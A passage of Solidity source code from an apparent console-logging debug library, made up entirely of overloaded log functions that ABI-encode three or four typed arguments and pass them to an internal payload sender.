_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
